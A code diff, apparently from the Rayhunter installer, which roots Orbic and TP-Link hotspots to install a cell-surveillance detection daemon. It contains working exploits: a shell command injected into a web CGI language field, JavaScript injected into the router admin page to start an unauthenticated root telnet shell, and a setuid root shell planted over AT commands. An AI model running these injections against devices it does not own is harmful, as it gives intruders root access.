|
rootshell_bin,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||||
|
at_syscmd(serial_interface, "chown root /bin/rootshell").await?;
|
||||||
|
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||||
|
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?;
|
||||||
|
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
|
||||||
|
if !output.contains("uid=0") {
|
||||||
|
bail!("rootshell is not giving us root.");
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn setup_rayhunter(
|
||||||
|
serial_interface: &Interface,
|
||||||
|
mut adb_device: ADBUSBDevice,
|
||||||
|
) -> Result<ADBUSBDevice> {
|
||||||
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
|
||||||
|
|
||||||
|
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?;
|
||||||
|
install_file(
|
||||||
|
serial_interface,
|
||||||
|
&mut adb_device,
|
||||||
|
"/data/rayhunter/rayhunter-daemon",
|
||||||
|
rayhunter_daemon_bin,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
install_file(
|
||||||
|
serial_interface,
|
||||||
|
&mut adb_device,
|
||||||
|
"/data/rayhunter/config.toml",
|
||||||
|
CONFIG_TOML.as_bytes(),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
install_file(
|
||||||
|
serial_interface,
|
||||||
|
&mut adb_device,
|
||||||
|
"/etc/init.d/rayhunter_daemon",
|
||||||
|
RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
install_file(
|
||||||
|
serial_interface,
|
||||||
|
&mut adb_device,
|
||||||
|
"/etc/init.d/misc-daemon",
|
||||||
|
include_bytes!("../../dist/scripts/misc-daemon"),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
|
||||||
|
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?;
|
||||||
|
println!("done");
|
||||||
|
echo!("Waiting for reboot... ");
|
||||||
|
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?;
|
||||||
|
// first wait for shutdown (it can take ~10s)
|
||||||
|
tokio::time::timeout(Duration::from_secs(30), async {
|
||||||
|
while let Ok(dev) = adb_echo_test(adb_device).await {
|
||||||
|
adb_device = dev;
|
||||||
|
sleep(Duration::from_secs(1)).await;
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.context("Orbic took too long to shutdown")?;
|
||||||
|
// now wait for boot to finish
|
||||||
|
get_adb().await
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||||
|
const MAX_FAILURES: u32 = 10;
|
||||||
|
let mut failures = 0;
|
||||||
|
while failures < MAX_FAILURES {
|
||||||
|
if let Ok(output) = adb_command(
|
||||||
|
adb_device,
|
||||||
|
&["wget", "-O", "-", "http://localhost:8080/index.html"],
|
||||||
|
) {
|
||||||
|
if output.contains("html") {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
failures += 1;
|
||||||
|
sleep(Duration::from_secs(3)).await;
|
||||||
|
}
|
||||||
|
bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn install_file(
|
||||||
|
serial_interface: &Interface,
|
||||||
|
adb_device: &mut ADBUSBDevice,
|
||||||
|
dest: &str,
|
||||||
|
payload: &[u8],
|
||||||
|
) -> Result<()> {
|
||||||
|
const MAX_FAILURES: u32 = 5;
|
||||||
|
let mut failures = 0;
|
||||||
|
loop {
|
||||||
|
match install_file_impl(serial_interface, adb_device, dest, payload).await {
|
||||||
|
Ok(()) => return Ok(()),
|
||||||
|
Err(e) => {
|
||||||
|
if failures > MAX_FAILURES {
|
||||||
|
return Err(e);
|
||||||
|
} else {
|
||||||
|
sleep(Duration::from_secs(1)).await;
|
||||||
|
failures += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn install_file_impl(
|
||||||
|
serial_interface: &Interface,
|
||||||
|
adb_device: &mut ADBUSBDevice,
|
||||||
|
dest: &str,
|
||||||
|
mut payload: &[u8],
|
||||||
|
) -> Result<()> {
|
||||||
|
let file_name = Path::new(dest)
|
||||||
|
.file_name()
|
||||||
|
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
|
||||||
|
.to_str()
|
||||||
|
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
|
||||||
|
.to_owned();
|
||||||
|
let push_tmp_path = format!("/tmp/{file_name}");
|
||||||
|
let mut hasher = Sha256::new();
|
||||||
|
hasher.update(payload);
|
||||||
|
let file_hash_bytes = hasher.finalize();
|
||||||
|
let file_hash = format!("{file_hash_bytes:x}");
|
||||||
|
adb_device.push(&mut payload, &push_tmp_path)?;
|
||||||
|
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?;
|
||||||
|
let file_info = adb_device
|
||||||
|
.stat(dest)
|
||||||
|
.context("Failed to stat transfered file")?;
|
||||||
|
if file_info.file_size == 0 {
|
||||||
|
bail!("File transfer unseccessful\nFile is empty");
|
||||||
|
}
|
||||||
|
let ouput = adb_command(adb_device, &["sha256sum", dest])?;
|
||||||
|
if !ouput.contains(&file_hash) {
|
||||||
|
bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}");
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result<String> {
|
||||||
|
let mut buf = Vec::<u8>::new();
|
||||||
|
adb_device.shell_command(command, &mut buf)?;
|
||||||
|
Ok(String::from_utf8_lossy(&buf).into_owned())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Creates an ADB interface instance.
|
||||||
|
///
|
||||||
|
/// This function waits for the ADB device then checks that an ADB shell command runs.
|
||||||
|
async fn get_adb() -> Result<ADBUSBDevice> {
|
||||||
|
const MAX_FAILURES: u32 = 10;
|
||||||
|
let mut failures = 0;
|
||||||
|
loop {
|
||||||
|
match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
|
||||||
|
Ok(dev) => match adb_echo_test(dev).await {
|
||||||
|
Ok(dev) => return Ok(dev),
|
||||||
|
Err(e) => {
|
||||||
|
if failures > MAX_FAILURES {
|
||||||
|
return Err(e);
|
||||||
|
} else {
|
||||||
|
sleep(Duration::from_secs(1)).await;
|
||||||
|
failures += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
|
||||||
|
bail!(ORBIC_BUSY);
|
||||||
|
}
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
|
||||||
|
bail!(ORBIC_BUSY_MAC);
|
||||||
|
}
|
||||||
|
Err(RustADBError::DeviceNotFound(_)) => {
|
||||||
|
tokio::time::timeout(
|
||||||
|
Duration::from_secs(30),
|
||||||
|
wait_for_usb_device(VENDOR_ID, PRODUCT_ID),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
.context("Timeout waiting for Orbic to reconnect")??;
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
if failures > MAX_FAILURES {
|
||||||
|
return Err(e.into());
|
||||||
|
} else {
|
||||||
|
sleep(Duration::from_secs(1)).await;
|
||||||
|
failures += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
|
||||||
|
let mut buf = Vec::<u8>::new();
|
||||||
|
// Random string to echo
|
||||||
|
let test_echo = "qwertyzxcvbnm";
|
||||||
|
let thread = std::thread::spawn(move || {
|
||||||
|
// This call to run a shell command is run on a separate thread because it can block
|
||||||
|
// indefinitely until the command runs, which is undesirable.
|
||||||
|
adb_device.shell_command(&["echo", test_echo], &mut buf)?;
|
||||||
|
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
|
||||||
|
});
|
||||||
|
sleep(Duration::from_secs(1)).await;
|
||||||
|
if thread.is_finished() {
|
||||||
|
if let Ok(Ok((dev, buf))) = thread.join() {
|
||||||
|
if let Ok(s) = std::str::from_utf8(&buf) {
|
||||||
|
if s.contains(test_echo) {
|
||||||
|
return Ok(dev);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// I'd like to kill the background thread here if that was possible.
|
||||||
|
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(target_os = "macos"))]
|
||||||
|
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||||
|
use nusb::hotplug::HotplugEvent;
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
loop {
|
||||||
|
let mut watcher = nusb::watch_devices()?;
|
||||||
|
while let Some(event) = watcher.next().await {
|
||||||
|
if let HotplugEvent::Connected(dev) = event {
|
||||||
|
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
/// `nusb::watch_devices` doesn't appear to work on macOS to poll instead.
|
||||||
|
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||||
|
loop {
|
||||||
|
for device_info in nusb::list_devices()? {
|
||||||
|
if device_info.vendor_id() == vendor_id && device_info.product_id() == product_id {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> {
|
||||||
|
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await
|
||||||
|
}
|
||||||
|
/// Sends an AT command to the usb device over the serial port
|
||||||
|
///
|
||||||
|
/// First establish a USB handle and context by calling `open_orbic(<T>)
|
||||||
|
pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> {
|
||||||
|
let mut data = String::new();
|
||||||
|
data.push_str("\r\n");
|
||||||
|
data.push_str(command);
|
||||||
|
data.push_str("\r\n");
|
||||||
|
|
||||||
|
let timeout = Duration::from_secs(2);
|
||||||
|
|
||||||
|
let enable_serial_port = Control {
|
||||||
|
control_type: ControlType::Class,
|
||||||
|
recipient: Recipient::Interface,
|
||||||
|
request: 0x22,
|
||||||
|
value: 3,
|
||||||
|
index: 1,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Set up the serial port appropriately
|
||||||
|
interface
|
||||||
|
.control_out_blocking(enable_serial_port, &[], timeout)
|
||||||
|
.context("Failed to send control request")?;
|
||||||
|
|
||||||
|
// Send the command
|
||||||
|
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
|
||||||
|
.await
|
||||||
|
.context("Timed out writing command")?
|
||||||
|
.into_result()
|
||||||
|
.context("Failed to write command")?;
|
||||||
|
|
||||||
|
// Consume the echoed command
|
||||||
|
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||||
|
.await
|
||||||
|
.context("Timed out reading submitted command")?
|
||||||
|
.into_result()
|
||||||
|
.context("Failed to read submitted command")?;
|
||||||
|
|
||||||
|
// Read the actual response
|
||||||
|
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||||
|
.await
|
||||||
|
.context("Timed out reading response")?
|
||||||
|
.into_result()
|
||||||
|
.context("Failed to read response")?;
|
||||||
|
|
||||||
|
// For some reason, on macOS the response buffer gets filled with garbage data that's
|
||||||
|
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
|
||||||
|
// the garbage with `from_utf8_lossy` and look for our expected success string.
|
||||||
|
let responsestr = String::from_utf8_lossy(&response);
|
||||||
|
if !responsestr.contains("\r\nOK\r\n") {
|
||||||
|
bail!("Received unexpected response: {0}", responsestr);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Send a command to switch the device into generic mode, exposing serial
|
||||||
|
///
|
||||||
|
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
|
||||||
|
pub fn enable_command_mode() -> Result<()> {
|
||||||
|
if open_orbic()?.is_some() {
|
||||||
|
println!("Device already in command mode. Doing nothing...");
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
let timeout = Duration::from_secs(1);
|
||||||
|
|
||||||
|
if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? {
|
||||||
|
let enable_command_mode = Control {
|
||||||
|
control_type: ControlType::Vendor,
|
||||||
|
recipient: Recipient::Device,
|
||||||
|
request: 0xa0,
|
||||||
|
value: 0,
|
||||||
|
index: 0,
|
||||||
|
};
|
||||||
|
let interface = device
|
||||||
|
.detach_and_claim_interface(1)
|
||||||
|
.context("detach_and_claim_interface(1) failed")?;
|
||||||
|
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
|
||||||
|
// If the device reboots while the command is still executing we
|
||||||
|
// may get a pipe error here
|
||||||
|
if e == nusb::transfer::TransferError::Stall {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
bail!("Failed to send device switch control request: {0}", e)
|
||||||
|
}
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
bail!(ORBIC_NOT_FOUND);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get an Interface for the orbic device
|
||||||
|
pub fn open_orbic() -> Result<Option<Interface>> {
|
||||||
|
// Device after initial mode switch
|
||||||
|
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
|
||||||
|
let interface = device
|
||||||
|
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||||
|
.context("detach_and_claim_interface(1) failed")?;
|
||||||
|
return Ok(Some(interface));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Device with rndis enabled as well
|
||||||
|
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
|
||||||
|
let interface = device
|
||||||
|
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||||
|
.context("detach_and_claim_interface(1) failed")?;
|
||||||
|
return Ok(Some(interface));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// General function to open a USB device
|
||||||
|
fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
|
||||||
|
let devices = match nusb::list_devices() {
|
||||||
|
Ok(d) => d,
|
||||||
|
Err(_) => return Ok(None),
|
||||||
|
};
|
||||||
|
|
||||||
|
for device in devices {
|
||||||
|
if device.vendor_id() == vid && device.product_id() == pid {
|
||||||
|
match device.open() {
|
||||||
|
Ok(d) => return Ok(Some(d)),
|
||||||
|
Err(e) => bail!("device found but failed to open: {}", e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
@@ -0,0 +1,343 @@
|
|||||||
|
use std::net::SocketAddr;
|
||||||
|
use std::str::FromStr;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use anyhow::{Context, Error};
|
||||||
|
use axum::{
|
||||||
|
Router,
|
||||||
|
body::{Body, to_bytes},
|
||||||
|
extract::{Request, State},
|
||||||
|
http::uri::Uri,
|
||||||
|
response::{IntoResponse, Response},
|
||||||
|
routing::any,
|
||||||
|
};
|
||||||
|
use bytes::{Bytes, BytesMut};
|
||||||
|
use hyper::StatusCode;
|
||||||
|
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||||
|
use serde::Deserialize;
|
||||||
|
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||||
|
use tokio::net::TcpStream;
|
||||||
|
use tokio::time::{sleep, timeout};
|
||||||
|
|
||||||
|
use crate::InstallTpLink;
|
||||||
|
|
||||||
|
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||||
|
|
||||||
|
pub async fn main_tplink(
|
||||||
|
InstallTpLink {
|
||||||
|
skip_sdcard,
|
||||||
|
admin_ip,
|
||||||
|
}: InstallTpLink,
|
||||||
|
) -> Result<(), Error> {
|
||||||
|
start_telnet(&admin_ip).await?;
|
||||||
|
tplink_run_install(skip_sdcard, admin_ip).await
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize)]
|
||||||
|
struct V3RootResponse {
|
||||||
|
result: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
|
||||||
|
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
|
||||||
|
let client = reqwest::Client::new();
|
||||||
|
|
||||||
|
println!("Launching telnet on the device");
|
||||||
|
|
||||||
|
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
|
||||||
|
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
|
||||||
|
let response = client.post(&qcmap_web_cgi_endpoint)
|
||||||
|
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
|
||||||
|
.send()
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
if response.status() == 404 {
|
||||||
|
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||||
|
tplink_launch_telnet_v5(admin_ip).await?;
|
||||||
|
} else {
|
||||||
|
let V3RootResponse { result } = response.error_for_status()?.json().await?;
|
||||||
|
|
||||||
|
if result != 0 {
|
||||||
|
anyhow::bail!("Bad result code when trying to root device: {result}");
|
||||||
|
}
|
||||||
|
|
||||||
|
// resetting the language is important because otherwise the tplink's admin interface is
|
||||||
|
// unusuable.
|
||||||
|
let V3RootResponse { result } = client
|
||||||
|
.post(&qcmap_web_cgi_endpoint)
|
||||||
|
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
|
||||||
|
.send()
|
||||||
|
.await?
|
||||||
|
.error_for_status()?
|
||||||
|
.json()
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
if result != 0 {
|
||||||
|
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Detected hardware revision v3");
|
||||||
|
}
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter."
|
||||||
|
);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
|
||||||
|
println!("Connecting via telnet to {admin_ip}");
|
||||||
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||||
|
|
||||||
|
if !skip_sdcard {
|
||||||
|
println!("Mounting sdcard");
|
||||||
|
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0")
|
||||||
|
.await
|
||||||
|
.is_err()
|
||||||
|
{
|
||||||
|
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||||
|
} else {
|
||||||
|
println!("sdcard already mounted");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// there is too little space on the internal flash to store anything, but the initrd script
|
||||||
|
// expects things to be at this location
|
||||||
|
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
|
||||||
|
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
|
||||||
|
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
|
||||||
|
|
||||||
|
telnet_send_file(
|
||||||
|
addr,
|
||||||
|
"/media/card/config.toml",
|
||||||
|
crate::CONFIG_TOML.as_bytes(),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
|
||||||
|
|
||||||
|
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
|
||||||
|
telnet_send_file(
|
||||||
|
addr,
|
||||||
|
"/etc/init.d/rayhunter_daemon",
|
||||||
|
get_rayhunter_daemon().as_bytes(),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
telnet_send_command(
|
||||||
|
addr,
|
||||||
|
"chmod ugo+x /media/card/rayhunter-daemon",
|
||||||
|
"exit code 0",
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
telnet_send_command(
|
||||||
|
addr,
|
||||||
|
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||||
|
"exit code 0",
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
||||||
|
);
|
||||||
|
|
||||||
|
telnet_send_command(addr, "reboot", "exit code 0").await?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
|
||||||
|
println!("Sending file {filename}");
|
||||||
|
|
||||||
|
// remove the old file just in case we are close to disk capacity.
|
||||||
|
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
|
||||||
|
|
||||||
|
{
|
||||||
|
let filename = filename.to_owned();
|
||||||
|
let handle = tokio::spawn(async move {
|
||||||
|
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
|
||||||
|
});
|
||||||
|
|
||||||
|
sleep(Duration::from_millis(100)).await;
|
||||||
|
|
||||||
|
let mut addr = addr;
|
||||||
|
addr.set_port(8081);
|
||||||
|
let mut stream = TcpStream::connect(addr).await?;
|
||||||
|
stream.write_all(payload).await?;
|
||||||
|
|
||||||
|
handle.await??;
|
||||||
|
}
|
||||||
|
|
||||||
|
let checksum = md5::compute(payload);
|
||||||
|
|
||||||
|
telnet_send_command(
|
||||||
|
addr,
|
||||||
|
&format!("md5sum {filename}.tmp"),
|
||||||
|
&format!("{checksum:x} {filename}.tmp"),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
telnet_send_command(
|
||||||
|
addr,
|
||||||
|
&format!("mv {filename}.tmp {filename}"),
|
||||||
|
"exit code 0",
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn telnet_send_command(
|
||||||
|
addr: SocketAddr,
|
||||||
|
command: &str,
|
||||||
|
expected_output: &str,
|
||||||
|
) -> Result<(), Error> {
|
||||||
|
let stream = TcpStream::connect(addr).await?;
|
||||||
|
let (mut reader, mut writer) = stream.into_split();
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let mut next_byte = 0;
|
||||||
|
reader
|
||||||
|
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||||
|
.await?;
|
||||||
|
if next_byte == b'#' {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
writer.write_all(command.as_bytes()).await?;
|
||||||
|
writer.write_all(b"; echo exit code $?\r\n").await?;
|
||||||
|
|
||||||
|
let mut read_buf = Vec::new();
|
||||||
|
|
||||||
|
let _ = timeout(Duration::from_secs(5), async {
|
||||||
|
let mut buf = [0; 4096];
|
||||||
|
loop {
|
||||||
|
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
let bytes = &buf[..bytes_read];
|
||||||
|
if bytes.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
read_buf.extend(bytes);
|
||||||
|
|
||||||
|
if read_buf.ends_with(b"/ # ") {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.await;
|
||||||
|
|
||||||
|
let string = String::from_utf8_lossy(&read_buf);
|
||||||
|
|
||||||
|
if !string.contains(expected_output) {
|
||||||
|
anyhow::bail!("{expected_output:?} not found in: {string}");
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
struct AppState {
|
||||||
|
client: HttpProxyClient,
|
||||||
|
admin_ip: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
|
||||||
|
let path = req.uri().path();
|
||||||
|
let path_query = req
|
||||||
|
.uri()
|
||||||
|
.path_and_query()
|
||||||
|
.map(|v| v.as_str())
|
||||||
|
.unwrap_or(path);
|
||||||
|
|
||||||
|
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
||||||
|
|
||||||
|
// on version 5.2, this path is /settings.min.js
|
||||||
|
// on other versions, this path is /js/settings.min.js
|
||||||
|
let is_settings_js = path.ends_with("/settings.min.js");
|
||||||
|
|
||||||
|
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||||
|
|
||||||
|
let mut response = state
|
||||||
|
.client
|
||||||
|
.request(req)
|
||||||
|
.await
|
||||||
|
.map_err(|_| StatusCode::BAD_REQUEST)?
|
||||||
|
.into_response();
|
||||||
|
|
||||||
|
if is_settings_js {
|
||||||
|
let (parts, body) = response.into_parts();
|
||||||
|
let data = to_bytes(body, usize::MAX)
|
||||||
|
.await
|
||||||
|
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||||
|
let mut data = BytesMut::from(data);
|
||||||
|
// inject some javascript into the admin UI to get us a telnet shell.
|
||||||
|
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||||
|
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||||
|
alert("Success! You can go back to the rayhunter installer.");
|
||||||
|
window.clearInterval(window.rayhunterPoll);
|
||||||
|
}, 1000);"#);
|
||||||
|
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
||||||
|
response.headers_mut().remove("Content-Length");
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(response)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||||
|
let client: HttpProxyClient =
|
||||||
|
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
|
||||||
|
.build(HttpConnector::new());
|
||||||
|
|
||||||
|
let app = Router::new()
|
||||||
|
.route("/", any(handler))
|
||||||
|
.route("/{*path}", any(handler))
|
||||||
|
.with_state(AppState {
|
||||||
|
client,
|
||||||
|
admin_ip: admin_ip.to_owned(),
|
||||||
|
});
|
||||||
|
|
||||||
|
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
println!("Listening on http://{}", listener.local_addr().unwrap());
|
||||||
|
println!("Please open above URL in your browser and log into the router to continue.");
|
||||||
|
|
||||||
|
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||||
|
|
||||||
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||||
|
|
||||||
|
while telnet_send_command(addr, "true", "exit code 0")
|
||||||
|
.await
|
||||||
|
.is_err()
|
||||||
|
{
|
||||||
|
sleep(Duration::from_millis(1000)).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
handle.abort();
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_rayhunter_daemon() -> String {
|
||||||
|
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
||||||
|
// changing the order in which daemons are started up seems to not work reliably.
|
||||||
|
//
|
||||||
|
// This part of the daemon dynamically generated because we may have to eventually add logic
|
||||||
|
// specific to a particular hardware revision here.
|
||||||
|
crate::RAYHUNTER_DAEMON_INIT.replace(
|
||||||
|
"#RAYHUNTER-PRESTART",
|
||||||
|
"mount /dev/mmcblk0p1 /media/card || true",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_get_rayhunter_daemon() {
|
||||||
|
let s = get_rayhunter_daemon();
|
||||||
|
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
||||||
|
}
|
||||||
+2
-2
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "rayhunter"
|
name = "rayhunter"
|
||||||
version = "0.2.8"
|
version = "0.3.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
